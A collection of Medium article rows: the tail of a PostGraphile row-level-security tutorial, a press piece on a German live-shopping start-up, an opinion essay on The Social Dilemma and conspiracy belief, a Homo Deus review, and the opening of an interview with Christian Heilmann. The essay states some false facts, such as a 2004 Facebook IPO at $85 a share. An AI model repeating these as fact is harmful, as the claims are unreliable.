ALTER TABLE posts ENABLE ROW LEVEL SECURITY;
Then we will create the following policies
CREATE POLICY anonymous_public_posts ON posts FOR SELECT TO anonymous
USING (published=true); CREATE POLICY public_posts ON posts FOR SELECT TO blog_user
USING (published=true or author_id=current_user_id()); CREATE POLICY delete_own_posts ON posts FOR DELETE TO blog_user
USING (author_id = current_user_id());
CREATE POLICY update_own_posts ON posts FOR UPDATE TO blog_user
USING (author_id = current_user_id()); CREATE POLICY insert_own_posts ON posts FOR INSERT TO blog_user
WITH CHECK (author_id = current_user_id());
After query again we can notice that only the “published” post is now displaying.
anonymous only can view the “published” posts
Do you remember our token ? it’s time to use it ⚡️ adding it as a header
Add the header
The name of the header will be “Authorization” and the value will be “Bearer + <Token>” as shown in the print screen and hit “save”.
The token belongs to the user “Jhon | [email protected]” with ID 4 who is the user we created before invoking the function “SIGNUP”
query{
currentUserId
}
The ID of the current user
Querying the GraphQL again we will notice that the post with ID 3 does not appear because is a Draft (not published) and does not belong to the user with whom we are logged in (“Jhon | [email protected]” with ID 4)
The post with ID 3 does not appears
If we try to delete a post that doesn’t belongs to the current user we will get an error.
mutation {
deletePostById(input:{id:2}) {
clientMutationId
deletedPostId
}
}
The post ID 3 could not be deleted
Same result if we try to update/modify one post
mutation {
updatePostById(input: {id:3, postPatch: {title: "New Title"}}){
post{
id
title
}
}
}
The post ID 3 could not be updated
Let’s see what happen if we create a new post in draft with the current user
mutation {
createPost(input: {post: {id: 999, title: "My very first post", content: "Once upon a time in", published: false, authorId: 4}}) {
post {
id
title
published
}
}
}
New Post created
Querying again
We can see the new post with ID 999
Also se can update our own post
mutation {
updatePostById(input: {id:999, postPatch: {title: "New Title"}}){
post{
id
title
}
}
}
The post was updated successfully
🎉 Amazing 🎉 now we can develop in record time our API ⚡ | https://medium.com/@dorian599/postgraphile-graphql-apis-postgresql-7e7f29fc3941 | ['Dorian Machado'] | 2020-07-09 10:35:17.603000+00:00 | ['Postgresql', 'Postgres', 'Postgraphile', 'GraphQL', 'JavaScript'] |
This is an amazing read and very applicable to many stressful situations in life whether it be in… | This is an amazing read and very applicable to many stressful situations in life whether it be in sport or not. Finding your own way to deal with those stress inducing moments are very important. Most definitely will be following @sportpyschnow for a daily reminder on how to mentally prepare for stress. | https://medium.com/@cedric3j/this-is-an-amazing-read-and-very-applicable-to-many-stressful-situations-in-life-whether-it-be-in-b26902ea1aa3 | ['Cedric Jacobs-Jones'] | 2020-12-04 20:19:32.762000+00:00 | ['Sports Psychology', 'Mental Health', 'Stress Management'] |
Through the crisis with live video shopping | Through the crisis with live video shopping
The Mainz start-up circl is launching the first “live video shopping experience with price comparison and bonus program” throughout Germany. On circl.link , customers are inspired by friends and influencers with product recommendations. Expert advisors can, for example, from stationary retailers or from home, advise in video chat. Pedro Gonçalo Ferreira Follow Dec 16, 2020 · 2 min read
circl offers a social shopping platform with over 350 shops (60 million products) and price comparison. The purchase and the recommendation are rewarded with redeemable points via circl (1 point per 2 €). The affiliate partner programs include well-known names such as MediaMarkt, Bonprix and Quelle, but also niche providers and start-ups.
In times of Corona and the lockdown, brick-and-mortar retail in particular needs a fast but also sustainable solution in order to stay in contact with customers and develop new sources of income. circl offers stationary retailers the opportunity to use their shops as showrooms and to advertise products through the independent partner shops. This is how retailers benefit from their customers’ online shopping. All commercial persons with specialist knowledge can apply here as a live host .
The live shopping function will be available for the market launch on December 16. available in the iOS & Android app. In the livestream, consultants have the opportunity to answer questions from the community. Customers buy directly via the price comparison in the shop of their choice and collect points.
Live video shopping is very popular in the Far East. Forecasts assume that the sales generated through live shopping shows in China will add up to 134 billion euros by the end of 2020. (Source: OMR )
With the establishment of circl.link GmbH in 2018, founder and managing director Aidien Assefi implemented an idea that arose during his training as a retail salesman in the Saturn consumer electronics store and came to maturity through his work as a Bose specialist consultant, content creator and influencer marketer. The founding idea is to connect customers via online and offline channels without interrupting the shopping experience. Some companies use circl for new sales channels, such as VRM (Medienhaus in Mainz) in the form of affiliate QR codes to monetize the product recommendations shown. With the live video shooping comes circlone step closer to his goal. There are now five employees and one trainee working for the Mainz start-up. Investors include ISB (Die Investitions- und Strukturbank Rheinland-Pfalz) from Mainz and ECK.ventures GmbH from Koblenz. | https://medium.com/frankfurtvalley/through-the-crisis-with-live-video-shopping-97f0129bad58 | ['Pedro Gonçalo Ferreira'] | 2020-12-16 10:34:50.521000+00:00 | ['Circl', 'Streaming', 'Video', 'Mainz'] |
The Social Dilemma. | Let’s call it what it is: A Shit Storm.
on Netflix now
Here is the description and talent reference. Thank you Wikipedia.
The Social Dilemma is a 2020 American docudrama film directed by Jeff Orlowski and written by Orlowski, Davis Coombe, and Vickie Curtis. The film explores the rise of social media and the damage it has caused to society, focusing on its exploitation of its users for financial gain through surveillance capitalism and data mining, how its design is meant to nurture an addiction, its use in politics, its effect on mental health (including the mental health of adolescents and rising teen suicide rates), and its role in spreading conspiracy theories such as Pizzagate and aiding groups such as flat-earthers.
The film features interviews with former Google design ethicist and Center for Humane Technology co-founder Tristan Harris, his fellow Center for Humane Technology co-founder Aza Raskin, Asana co-founder and Facebook like button co-creator Justin Rosenstein, Harvard University professor Shoshana Zuboff, former Pinterest president Tim Kendall, AI Now director of policy research Rashida Richardson, Yonder director of research Renee DiResta, Stanford University Addiction Medicine Fellowship program director Anna Lembke, and virtual reality pioneer Jaron Lanier. The interviews are cut together with dramatizations starring actors Skyler Gisondo, Kara Hayward, and Vincent Kartheiser, which tell the story of a teenager’s social media addiction.
The Social Dilemma premiered at the 2020 Sundance Film Festival and was released on Netflix on September 9, 2020.
About the movie.
The Social Dilemma movie is not a shit storm. Rather, it’s a really decent movie. A thrill ride, a futuristic dystopia of machine over man, will have you on the edge of your seat.
And it’s a documentary. Featuring us. Our social media lives, and importantly, from the POV of the creators of, well, all of it: Twitter, Instagram, Google, Facebook, Pinterest, YouTube, AI, the “like” button, etc. The curtain is pulled back on social media. The evolution of a fun way to connect with old friends, to a tool for social justice, to a tool for political disruption, to a tool for disrupting democracy — all by activating our behavior. So, you see they aren’t responsible. We are. These developers were genius at human-centered design, tapping emotional insights in people and injecting tech that would relieve an itch, and subsequently, technology advanced and learned how to turn our itch to need. And to action. If this sounds like heroin, the analogy is not far off.
We are prey. They are predator.
Watch the movie. Then delete social media from your phones, at the very least. You and your phone should sleep in separate rooms. You are not lovers. You are roommates.
Guard the children. They are ultimate prey.
But About the shit storm.
I’m going to drop a lot of Pew Research, CDC and other trusted sources. If you don’t trust these sources, bugger off.
There are over 210,000 deaths from Covid-19 in the US. Just over 1,000 people died from Covid between the 24 hours of October 1, 2020 to October 2, 2020, according to the Center for Disease Control, when I began writing. And of course, you know the news about the POTUS and company.
America accounts for approximately 20% of the world’s total Covid-19 deaths. We are winning.
Yet, despite consistent credible evidence, Pew Research found that ~25% of US adults believe the Covid-19 outbreak was intentionally planned by powerful people. https://www.pewresearch.org/fact-tank/2020/07/24/a-look-at-the-americans-who-believe-there-is-some-truth-to-the-conspiracy-theory-that-covid-19-was-planned/
Most Americans (71%) learned of the Covid-19 conspiracy through social media.
Belief in this particular conspiracy aligns with education: less educated, higher the belief that this is, in fact, a fact. Political party affects belief: Republicans believing the conspiracy (34%) vs Democrats (18%).
As of July, majority of Republicans (59%) believe the Covid-19 death count is inflated. Few Democrats (9%) believe the official count is high. That’s 1 in 3 Americans that doubt the number of people who have died. Fox News viewers are most likely to doubt the death toll. They also show the greatest spike in increased doubt of the number of deaths, 44% in May to 62% in late July (Axios-Ipsos poll).
The majority of Americans, however, believe the number who have died from Covid is actually higher (37%) or that reported numbers are correct (31%).
Another source. Germany’s Allensbach Institute surveyed US, UK, France and German citizens in June 2020. About a third of Americans call the conspiracy theorists (the ones that claim Bill Gates is the boogeyman…he’s not, by the way) crackpots. But nearly a quarter, believe there is ‘more than meets the eye’. That mainstream media does not tell the truth. And so they scour other sources, e.g. the unseen, unknown, nonaccredited voices of Facebook, Twitter, Reddit, etc.
As for Bill Gates, one in eight Americans under the age of 30 believe he, Bill, started Covid-19 to set up a new world order.
Additionally, one in five of these younger Americans heard ole Bill plans to implant microchips in people to control them. Curious if those same folks know The Gates Foundation has committed nearly $4B in global grants to combat malaria? And that is just ONE example out of the $36B Bill and Melinda Gates have donated to their foundation. Clearly Bill is the worst.
Side note: when asked to agree/disagree “Most conspiracy theorists are crackpots”, over half of Germans agreed. Only 18% of French respondents agreed. Global alignment is going to be tough.
THE AMERICAN TRIFECTA:
Conspiracy Belief • Cognitive Dissonance • good old fashioned Gullibility
1. CONSPIRACY BELIEF. You ready?
50% of Americans believe a conspiracy about a current Political event or phenomenon.
This number is slightly behind the average Presidential voter turnout, which is somewhere around 55%. For perspective.
Eric Oliver and Thomas Wood, University of Chicago, found that half (50%) of Americans believe in at least one of the following conspiracies:
• 19% believe the US government was behind the 911 attacks. (A different study by Stempel and Hargrove in 2007 found nearly 1/3 of American respondents agreed that “federal officials either assisted in the 911 attacks or did nothing to stop it in order to go to war in the Middle East”).
• 11% believe the US government mandate for florescent light bulbs is because florescent light bulbs make people obedient and easy to control. Go ahead. You did not read that wrong.
• 25% believe the financial crisis of 2008/2009 was caused by a small cabal of Wall Street bankers. (Okay, well, that one makes sense to me.)
Several studies on why Americans believe conspiracies uncovers a strange kind of mistrust of ‘the man’ (authority), combined with a goiter sized rugged individualistic attitude. This is not new. It’s why we sailed the oceans blue in the first place. Cue Jonathan Groff as the Mad King, Hamilton.
What I loved about this research was how it did not judge the conspiracy. No matter how whack. Rather, the intent, with real curiosity, was to understand why some people attach to conspiracy. That conspiracy is just another form of political discourse by which people interpret events of the world around them. This removes bias that conspiracies are psychopathology or a product of gross misinformation. Not to say they aren’t. But that relates to who/what was created, the purpose of the conspiracy.
We’ll get back to that. This is about attachment — why someone would believe in the first place.
Strong narrative drives what is a “good”, effective, conspiracy. A good conspiracy is a good story. A narrative that triggers predispositions.
Let’s pause here: both Manchurian Candidate movies -1962 starring Frank Sinatra and 2004’s Jonathan Demme directed/star studded remake — are spectacular. America, you will love these.
Michael Barkun, Professor Emeritus of Political Science in his 2003 ‘A Culture of Conspiracy: Apocalyptic Visions in Contemporary America’, sees a collision of two potent ideas in popular American culture. One, the belief that the current world will be destroyed, good will win over evil, not chained to any single religion, rather, will pull, indiscriminately, from a variety of traditions, such as eastern religions, new age, fringe science, radical politics, etc. Second, the rise of “stigmatized knowledge”. Ideas that were once fringe or “nutty”, are self-verified, despite authority/institutions handily proving error, miscalculations, lack of reason. Such as climate change denial, the location of Atlantis, alien abduction, etc.
SEE: the internet.
Barkun explains how conspiracies work, the story structure, if you will:
1. Identify the source of unusual social and political phenomena, and put it in unseen, intentional and malicious forces
2. Interpret political events as the struggle of good and evil
Researcher Hofstadter (1964), “the distinguishing thing about the paranoid style is to think that vast or gigantic conspiracy is the motive force in historical events. History is a conspiracy, set in motion by demonic forces of almost transcendent power”.
3. Tease out mainstream reports of political events as false tales, attempting to distract people from a hidden source of power
What makes us believers?
After multiple rounds of study, Oliver & Woods find it is twofold.
First. Believers have an innate bias toward intentional predators. (FEAR). I love their example. You hear a strange noise in the night, it MUST be a break-in. Something evil, illicit. The assumption allows for control. “That’s why I grabbed the gun Officer”.
NOTE: I tend to assume when there is a bump in the night is one of the cats. I’m right more than I care to admit.
Second. Believers have a natural pull, bias, toward STORIES that explain big events and interpret history as struggles of good vs evil. Stories are key for organizing memory and reason. Cognitively, conspiracies jive in certain folks’ brains. The good vs evil, light vs dark stories help process and organize political information in a way that makes what is typically confusing or ambiguous easier to understand.
[ And none of this is abnormal. ]
No disorder here. It’s just a way of understanding. That is why not everything in America is conspiracy, e.g. farm subsidies. How’s that fun?
Also, conspiracy development (much like conceiving, writing, producing content or a TV show!) is exhausting. Most people don’t create conspiracies. Conspiracy comes to them.
Like in 2020, that Covid-19 is the flu, will go away with warm weather, is only for old people, a vaccine is almost done, Bill Gates started this, with China…oh my, did you hear the one about China?
Conspiracy tickles predispositions, or not. This is why some of us are baffled by how others react or don’t react. Red meat to the lion. Red meat to the vegetarian.
Facts get eaten by conspiracy.
Information that might shift thinking, a fact, for example, enters to thwart the conspiracy, that very fact is made into evidence to support the conspiracy. When Barack Obama’s birth certificate is produced by the Hawaiian hospital, conspiracists now believe the hospital is in on it.
Have a look at Jordan Peterson. Never heard of him? He has #1 best-selling nonfiction book on Amazon, massive Twitter (560,000) and YouTube (~1M) followers. Your college age sons have most likely heard of him and/or watched his videos.
He twines an intellectual air, rational calm and authority. Uses the Barkun formula masterfully. He found an audience.
[ ‘Feminists have an unconscious wish for brutal male domination’ ]
[ ‘Developing nations are pits of catastrophe’ ]
To a Dutch far-right group he claimed support for ‘enforced monogamy’. His audience: white, typically young men, believe their white privilege is under attack.
Peterson wasn’t famous. Until the Fall of 2016 when he inserted himself in a Canadian moment. Bill C-16 would ban discrimination on the basis of gender identity. He arrived at a cultural opening, fear of what (white) men were losing, ignited in the United States, and quickly found a niche: taking stances on issues he fundamentally did not understand, or had an odd relationship toward, twisting them, and releasing YouTube presentations, calm, cool, professorially, and pointed the finger at the radical left.
For Bill C-16, he claimed that he would be jailed “for hate speech” for his rhetoric, creating drama and stakes for his followers. Canadian legal experts argued in his defense, disputing that his “talk” was not criminal. But the boys showed up. And well, as we say in show business: He found a vein.
“I shouldn’t say this, but I’m going to, because it’s just so goddamn funny I can’t help but say it: I’ve figured out how to monetize social justice warriors,” Peterson told the podcast host Joe Rogan. “If they let me speak, then I get to speak, and then I make more money… if they protest me, then that goes up on YouTube, and my account goes WAY up.”
Houston. We have a problem.
Speaking of, did we really land on the moon?
NOTE: the special effects green screen didn’t exist yet. But Bill Kaysing convinced himself that the U.S. didn’t have the technological depth to pull off a moon landing.
Also, there were no stars in the photos.
In 1976, he self-published “We Never Went to the Moon: America’s Thirty Billion Dollar Swindle”. Calm, authoritatively. He even had a stint working at Nasa.
Despite the mountain of evidence that proves the lunar mission, belief in no evidence that it did not happen (I’m dizzy in these double negatives) captivates conspiracists. Youngers, 21% of 24–35 year-olds think the moon landings were staged vs 13% of over 55 year olds — because “you couldn’t prove anything then, now we have technology to investigate ourselves”. Before we Americans feel special, a YouGov poll found one in six Brits agree with this statement “the moon landings were staged”.
Sigh.
There aren’t that many people that believe this conspiracy (4–6%). But the Moon-Hoax entered modern times in 2001. Fox News aired a documentary, Did We Land on the Moon? Hosted by Mitch Pileggi, X-Files actor. They repackaged Kaysing’s engaging story for a new, young’ish audience. Like Friends caught a young audience on Netflix, and fresh appeal blossomed.
Oliver Morton, author of The Moon: A History for the Future, “ …an implausible event for which there is lots of evidence (Apollo 11) and a plausible event for which there is zero evidence (the moon hoax), some people will opt for the latter. The point of Apollo was to show how powerful the American government was in terms of actually doing things. The point of moon-hoax theory is to show how powerful the American government was in terms of making people believe things that weren’t true.”
FAR MORE DISTURBING are “911 Truthers,” anti-vaxxers, Pizza-Gaters. Holocaust deniers. Climate Change deniers. Sandy Hook conspiracists. Anti-maskers in an airborne pandemic. What these conspiracies have in common, unlike the benign narrative of the Moon hoax: these affect people in real, at times, life-threatening ways.
Have you heard the one where a group of left-wing billionaires, Hollywood A-listers, philanthropists, Jewish financiers and Democrats run a child-trafficking pedophile ring and covertly rule the world, and only Trump can save us? Oh wait. That’s not a joke. Meet QAnon. Sweeping the global stage, moms, aunties everywhere! And yes, there are 25 (TWENTY FIVE) Q’ees running for public office in this nation. Some with good chance of winning. Do yourself a favor, don’t click on “Save the Children”.
Most people believe, that at the end of the day, American public opinion is ultimately rational, and made through professional, deliberate information sources and ideology. That, while conspiracies have always contradicted the mainstream, organized outlets and danced like sugar canes in our heads, that we wake up, come to our senses.
But now the Citizen Culture unleashed through social media — citizen scientist, citizen news publisher, citizen expert (huh?), collides with machine learning, AI, Moore’s Law. And this is a gamechanger.
2. COGNITIVE DISSONANCE
“People hold a core belief. When they are presented with evidence that works against that belief, the new evidence cannot be accepted. It would create extreme discomfort, called cognitive dissonance. And because it is so important to protect the core belief, they will rationalize, ignore and even deny anything that doesn’t fit in with the core belief.” Frantz Fanon
Cigarettes will kill you, but I’d like a smokey treat anyway. Understanding we have little time to stave off the effects of climate change, but my SUV has such great seats!
COGNITIVE DISTORTIONS, similar to dissonance. These are the little, in inaccurate, negative lies we tell ourselves.
•Overgeneralizing — seeing a constant negative pattern, based on one event. (That is, definitionally, not a pattern).
•Blaming/Denying. Not me!
•Polarized Thinking. See only in black and white, all or nothing, extremes.
•Negativity bias, or better yet, there are no positives.
•Catastrophizing: everything is or will be the worst.
•Magical Thinking (Covid-19 will end when the weather is warm. Hmmm?).
•Over-personalization. Self-blame, or being targeted.
•Mind Reading. I know what you are thinking. (No you don’t.).
•Double Standards.
•Fallacy of Fairness: YOU think things should work out according to what YOU think is fair. Uh, could we cue back ‘over-personalization’?
•Emotional Reasoning: when feelings are reality (no they aren’t).
Entertainment break: Be sure to catch Phoebe Waller-Bridge in Flea Bag. Oh my.
3. GULLIBILITY
Gullibility is defined as being duped.
Pork is the other white meat. No it’s not.
In 1938, “The War of The Worlds”, Orson Wells’ Halloween broadcast whipped people into panic with Breaking News style interruptions describing an alien invasion. Legend has it most people turned to the episode from a more popular show and happened upon what they thought was a news bulletin. Holy cow! The Martians have landed! What’s even more fun is the double-conspiracy, that it was nation-wide panic. But the show had few listeners and the panic was fairly isolated.
The news-style production dealt authority and a sense of realness that leapt over reason.
The same week I watched The Social Dilemma, I also listened to a podcast (CaseFile episode 157) about the “Strip Search Scam”. I bring this up to highlight our gullibility for authority.
Dangerous gullibility.
In April 2004 Laura Fletcher was 18, a senior in High School, and working at McDonalds. The manager received a phone call, claiming to be local police — an employee had stolen earlier that day. The manager identified (over the phone), Laura, from the description the caller provided. Long story short (listen to the podcast), the manager worked with the “officer” (over the phone) to hold the young woman, strip search her, find someone to watch over her — at which point, Laura was sexually assaulted. Twice. Because the caller told the man now in charge of monitoring Laura to molest her (over the phone). She was also beaten by this same man. HOURS went by before the call was understood to be a scam.
SEVENTEEN McDonald’s managers, and over SIXTY managers at different establishments, across a rural swath of the USA, had been duped similarly. Over a TWELVE year period.
He had a calm, authoritative, professional voice. He found an audience.
The Stanford Prison Experiment, 1971, set out to study effects of perceived power. Students joined the experiment, either as prisoner or prison guard. Guards were told to exert psychological control over the prisoners. In footage of the study, psychology professor, Philip Zimbardo tells the guards: “You can create in the prisoners feelings of boredom, a sense of fear to some degree, you can create a notion of arbitrariness that their life is totally controlled by us, by the system, you, me, and they’ll have no privacy … We’re going to take away their individuality in various ways. In general what all this leads to is a sense of powerlessness. That is, in this situation we’ll have all the power and they’ll have none.”
The study was abandoned after just six days. It’s also never been replicated, partly because of the methodology. But it is fascinating and studied.
“I had been conducting research for years on deindividuation, vandalism and dehumanization that illustrated the ease with which ordinary people could be led to engage in anti-social acts by putting them in situations where they felt anonymous, or they could perceive of others in ways that made them less than human, as enemies or objects,” Zimbardo, 1996.
Well, that’s creepy.
Oh wait, there’s more.
In July of 1961, Yale University, psychologist Stanley Milgram wanted to understand obedience to authoritative figures. Ultimately, to understand the psychology of genocide.
“Could it be that Eichmann and his million accomplices in the Holocaust were just following orders? Could we call them all accomplices?”
Note: the study began just three months after the start of Nazi Adolf Eichmann’s war crimes trial. This was a frighteningly timely study. It repeated many times around the globe with consistent results.
A high proportion of respondents would obey, fully, albeit reluctantly.
BACK TO THE SOCIAL DILEMMA: THE SHIT STORM
The social dilemma, NOT the movie.
In April of 2004, when Laura Fletcher was sexually assaulted twice, beaten and held hostage for hours — because an unknown caller on the phone “told me to”, Facebook had ZERO users. It’s initial IPO would hit in August of 2004 for $85/share. YouTube was an idea concocted by three PayPal employees who thought it was weird there wasn’t one single location to share video (inspiration: Janet Jackson at the Super Bowl and the Christmas Day Tsunami — both in 2004). We had no Twitter. No Snap. No Instagram. No Reddit. We had no social media.
[ And then the shit storm began. ]
A cheeky (yes, pun) start to “The” Facebook, a site to chase skirt at Harvard, turned benevolent — friends finding each other after years, families connecting — turned active (I’m not claiming intent, but it is certainly active) aid to an enemy of the state (Russia 2016) . Take a look at their accounts. Billions are not real. Facebook estimates 5% are fake. In November 2019, FB reported shutting down 5.4B fake accounts, and then in March of 2020, reported creating super AI that was able to remove billions of fake accounts.
[ Sounds like a serious regenerating bed bug problem. ]
“If you’d come to me in 2012, when the last presidential election was raging and we were cooking up ever more complicated ways to monetize Facebook data, and told me that Russian agents in the Kremlin’s employ would be buying Facebook ads to subvert American democracy, I’d have asked where your tin-foil hat was,” wrote Antonio García Martínez, who managed ad targeting for Facebook back then. “And yet, now we live in that otherworldly political reality.”…The informational underpinnings of democracy have eroded, and no one has explained precisely how. Alexis Madrigal, The Atlantic October 12, 2017
According to Pew, 18% of American adults get their political news through social media. Over HALF of those, source Facebook. (Does this seem safe given the “bed bug” issue?)
According to Pew, 25% of all Americans source YouTube for news. Mix of Independent channels (42%) and News organizations (49%) — with viewers sourcing from the two equally. The algorithms deal with traditional news media, New York Times, Washington Post, and digital natives, Buzzfeed, with equal gravitas. In Independent channels is also a mix of celebs like John Oliver, and YouTubers, explicitly creating for the platform. Russia Today, an independent channel can get billions of views, and is far more likely to focus on conspiracy theories such as the anti-vaccine movement and Jeffrey Epstein’s death.”
That is more people than Radio (by far), network TV, cable TV or local TV. They are younger (nearly half are under 30 years), less educated, less likely to follow major news stories, e.g. the coronavirus outbreak or the 2020 presidential election, not coincidentally, know less about either issue. But are more likely to have been exposed to a variety of false, unproven conspiracy stories.
The ability to hold conspiracy belief, cognitive dissonance, gullibility is American.
Most research finds the American embracement of conspiracies, is, well, a bit of who we are: a “Levi’s”, “Go-West”, rugged individualism. We believe we can avoid being controlled by secret forces, tease them out of the system — which means we believe they exist (It’s just a cat!) And we hold a very strange relationship with authority: abhor and adhere it.
Cambridge Analytica, Russian bots, foreign agents interfering in our democratic process have all been exposed. THOSE are not conspiracies. So have the bubbles algorithms have pushed us into, dividing us. This is to say that AI, machine learning, Moore’s law collide with social media — pouring gasoline on our conspiracy instincts. Game-changing in terms of control, narrowing the message, and directing behavior based on false information. (I know you know this.)
Discourse does NOT have to be dismantled. Connection is NOT illusion.
If there is one story trope I hate, it’s victim. We are not victims. We’ve done what we’ve always done: someone invented chocolate, and it was so damn good, we ate it all. Same with bubble gum, cigarettes, fidget spinners, Hummers, canned wine. And then we learned to back-off. Mostly.
I haven’t done an official survey, but people in my fairly wide sphere, across demographics and multiple states/countries, are tired. Worn out from the social media shit storm. We will require regulation from the man, and we will require self-regulation to crawl out of this storm. The former will come with our votes and political will. Mark, you’ve been, as they say, so good and so bad. Time to face the music. (You too Google, Twitter, Snap, etc., etc.)
Now the self-regulation.
First, the cleanse:
That’s right. Grab the lemons and cayenne pepper. We are going full tilt. Clean your phone off. Delete all the apps you absolutely can. Can you have one screen of Apps, no more? Imagine that. Turn the alerts off. Turn the tracker-jackers off. This will be VERY uncomfortable for the first 72 hours to six months, but then, euphoria. The phone does not sleep with you anymore. Find a lover.
Second, a reverse war on information:
Who is delivering you information? Know your sources. Ask: what good does it do them if you read, subscribe, follow them? What good does it do them if you share their content? Do you know the hierarchy of the power you hold?
3. Open an article
2. Like an article
Disco: Share the article.
Know that your actions, not the genius you are following, triggers the AI, and on and on the world spins.
Ask questions. Is it elixir? Or snake oil? Do you feel fear and anger and indignation? Or curiosity and wonder and optimism? Can do or can don’t? Can you invert their statements and make sense? “Obama is an American citizen.” Hmmm. Does one thing feel rational and the other irrational? Test yourself. Have you ever watched or read a news outlet “to know what the enemy was thinking”? See, that’s not good.
Last, can we all agree to take this out of the hands of our children? It is hurting them, their brains, their relationships, their discourse, their citizenry, their connections. Their self-worth.
Let’s resurrect conversation, intimacy and diverse mindsets, all around the same table.
Also, put a mask on. | https://medium.com/@donnamurphy120/the-social-dilemma-7e3e43ac4489 | [] | 2020-10-06 22:36:31.505000+00:00 | ['Politics', 'Conspiracy Theories', 'The Social Dilemma', 'Problem With Social Media', 'Netflix'] |
Homo Deus | Homo Deus
Thoughts on Yuval Harari’s book
A few weeks ago, my partner and I embarked on our annual summer vacation trip. This time to Utah, to visit all five of their national parks. While putting 1500+ miles on our rented Prius, we had time to finish two audiobooks.
Homo Deus was the second book we listened to, and… I have really mixed feelings about it. The first hour had me captivated. The author’s predictions of humankind’s three future goals were laid out, and thought provoking justifications were presented. After that, the rest of the book focused much more on history, and the ending really lost me. The author went on a lot of tangents that I did not think tied well to his main points, and by the end I wasn’t sure what the main points of the book were anymore.
It seemed that the author filled the pages of the book with ideas that fascinated him, with or without connection to bigger ideas in the book. Like, how did lucid dreaming make it into this book?
Because the ideas in the book seem disconnected to me, I enjoyed it more thinking of it as a collection of persuasive essays. The author’s biases come across pretty strong though. Some points were made ad nauseam. And some of the logic, I thought was lacking.
Harari went through a bunch of different arguments against why humans are not really better or greater than animals (except for being able to create complex societies). From an evolutionary standpoint, other humans are better/greater/more important to me than other animals just because humans are more similar to me. The humans versus other animals comparison is not objective because it’s a human making the comparison.
On the point that Harari made about humans not having souls because science has never been able to measure a “soul”, I think also falls short because not all things can be physically measured. Some people believe that a soul is a person’s relationship to god.
I don’t really get his claim that vaccinations for the masses are the result of needing the masses for war either. There are great humanitarians out there, even if I’m not one of them.
Two other parts that really irked me about the book are Harari’s use of the word religion and the portion on free will.
Equating social/political ideologies to religion was completely unnecessary. Harari could have just said that social/political ideologies and religions achieve a similar purpose to make his point. I think redefining liberalism (capitalism)/socialism/humanism (Nazism) as religions obfuscates his explanations because he’s not using the commonly understood definition of religion. On top of that, I imagine that his claim would piss off a lot of people. It bothers me when people seem to be contrarian just for the sake of being contrarian.
On the topic of free will, Harari’s gave a really poor argument for determinism. If arguing that researchers are able to predict what someone wants before the person knows it themselves, the unstated assumption is that awareness is required for a person to make a choice with their free will. This is not obviously true, so I’m not sold.
Besides sounding cool, I don’t understand what it means that between determinism and randomness, there is no room for freedom. From quantum mechanics (my knowledge is limited here, but thank you college), we live in a non-deterministic world with macro level restrictions and there is “freedom” in the form of unpredictability. Harari doesn’t discuss randomness, but the existence of randomness can be the basis for an argument for free will.
(I’ve always thought of science as very similar to religious doctrine. If science tells me something, I don’t really “know” it to be true since I didn’t take any part in the experiments and my knowledge of science if very limited. Believing in science means that I’d have to accept it on faith.)
My bigger issue with the author’s discussion on free will is, why does it matter? Take out religion, whether or not I have free will has no practical impact on anything. I don’t get how this has any relevancy to the rest of the book.
Imagine what life would be like for someone who actually doesn’t believe in self, choice and free will. Nothing would have any meaning. It wouldn’t matter if this person is alive or dead. No one actually lives like this, so talking about not having free will is purely a thought experiment. Logically then, if believing that there is free will is the belief that makes us the happiest (and have a stronger will to stay alive), evolution would have forced us to believe that free will exists and someone arguing against free will like Harari should not have existed or made it this far in life. There.
I’ll admit that I did fall asleep for a few portions of the audiobook, especially toward the end. I did enjoy the book immensely though because of how it made me think about stuff, and now I wrote about it to sort through my thoughts. | https://medium.com/human-in-a-machine-world/homo-deus-e5497d010cde | [] | 2019-06-27 14:11:49.816000+00:00 | ['Life'] |
Interview with developer evangelist Christian Heilmann | Christian Heilmann, international developer evangelist at Yahoo, travels the world on a mission to make the web a better place. Talking to Oliver Lindberg, he calls for more sharing and says innovation isn’t just down to rock star developers
This article originally appeared in issue 187 of .net magazine in 2009 and was republished at www.creativebloq.com.
There’s no denying that last year the wheels were coming off at Yahoo. A significant number of people were laid off, others were voluntarily leaving the company in droves. But there’s one man in particular who stayed and, seemingly unperturbed, carried on with what he does best: spreading the word of the open, accessible web all over the world and helping developers to make the web better. This man is Christian Heilmann.
Christian’s official job title is ‘international developer evangelist’, which means he travels around the globe to meet developers, talks at conferences, helps people start their own BarCamps and gets feedback on Yahoo products. He then comes back, gives internal tech talks and reports back on what he’s learned and where the market is going. “I do the same thing as a Jeremy Keith or a Douglas Bowman but I just do it with the backup of a big company,” Christian explains. “I could have done it as a freelancer but I think it would be a shame to leave a company where I’ve got such a great internal network and I know a lot of people.”
The same old faces
One thing Christian has noticed on his travels around the conference circuit is that a lot of events have turned into big back-patting exercises, always featuring the same speakers. “I see people coming up with the coolest new CSS effects and the coolest new layouts for their blogs,” he says. “But I think we should stop profiling ourselves. It’s time we look at the things that take up our precious time, such as bank websites — there’s not a single one that has good usability and yet they’re what we use day to day. I come back from a conference and go to our own internal system to log my expenses and that’s two hours wasted because the usability is completely off the mark. But whenever I talk to other standardistas and suggest going to the likes of Oracle or Documentum — the people that build enterprise level systems — and making them understand the benefits of standards, the answer is always that we’d never reach those guys and why should we bother? I think it’s time we bother. Talking to each other about how cool our blogs are isn’t going to change the world. If we want to get rid of IE6 and other older browsers, we have to get rid of all the systems that are dependent on it.”
“It’s time we look at the things that take up our precious time, such as bank websites — there’s not a single one that has good usability and yet they’re what we use day to day”
Another problem Christian Heilmann highlights is the huge gap between the development world and the accessibility world. “My biggest challenge this year is to make people who aren’t techies talk to techies in a language that each party understands. The people who need and benefit most from the open web don’t understand it because us techies are too much into our own lingo. What the hell’s a ‘password anti-pattern’, for example?!
“We have to understand that nobody needs rock stars any more. Nobody needs technical guys that come up with cool solutions that nobody uses. It’s about making things work and explaining them in layman’s terms, so people can benefit from it. I’m a big fan of microformats, for example, but I have yet to see the killer application for it.”
‘Rock stars’ in the web development world are one of Christian’s bugbears. In his opinion it should be more about teamwork than about relying on one expert. When Christian Heilmann started at Yahoo about three years ago his boss wanted to build one of the best web development teams in the world. “We assembled a lot of people,” he remembers, “but we made the mistake of assembling far too many good people, because a team has to be not only rock stars. You can’t just put rock stars together and hope something happens. A team has to consist of lead developers, rock stars and junior developers who can learn from these people and give them some breathing space. There’s no need for HTML experts. It should be a team that knows about it, rather than having a really cool rock star web developer sitting in the corner who burns himself out within half a year.”
